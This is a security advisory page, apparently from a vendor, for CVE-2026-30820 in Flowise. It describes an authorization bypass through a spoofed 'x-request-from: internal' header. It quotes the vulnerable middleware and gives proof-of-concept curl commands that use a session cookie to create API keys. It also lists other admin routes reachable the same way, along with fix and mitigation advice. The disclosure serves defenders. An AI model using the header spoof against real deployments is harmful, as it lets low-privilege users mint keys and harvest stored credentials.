CVE-2026-30820 — flowise
CVE-2026-30820 is a CWE-863 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise Authorization Bypass via Spoofed x-request-from Header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30820.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.
Details
The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:
if (isWhitelisted) {
next();
} else if (req.headers['x-request-from'] === 'internal') {
verifyToken(req, res, next);
} else {
const { isValid } = await validateAPIKey(req);
if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
… // owner context stitched from API key
}
Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.
PoC
- Log into Flowise 3.0.8 and capture cookies (e.g.,
curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login). - Invoke an internal-only endpoint with the spoofed header:
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-H 'x-request-from: internal' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
The server returns HTTP 200 and the newly created key object.
3. Remove the header and retry:
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.
The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.
Impact
This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.13npm install flowise@3.0.13 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30820 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30820 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-30820. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-30820 in your dependencies?
O3 Security finds CVE-2026-30820 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.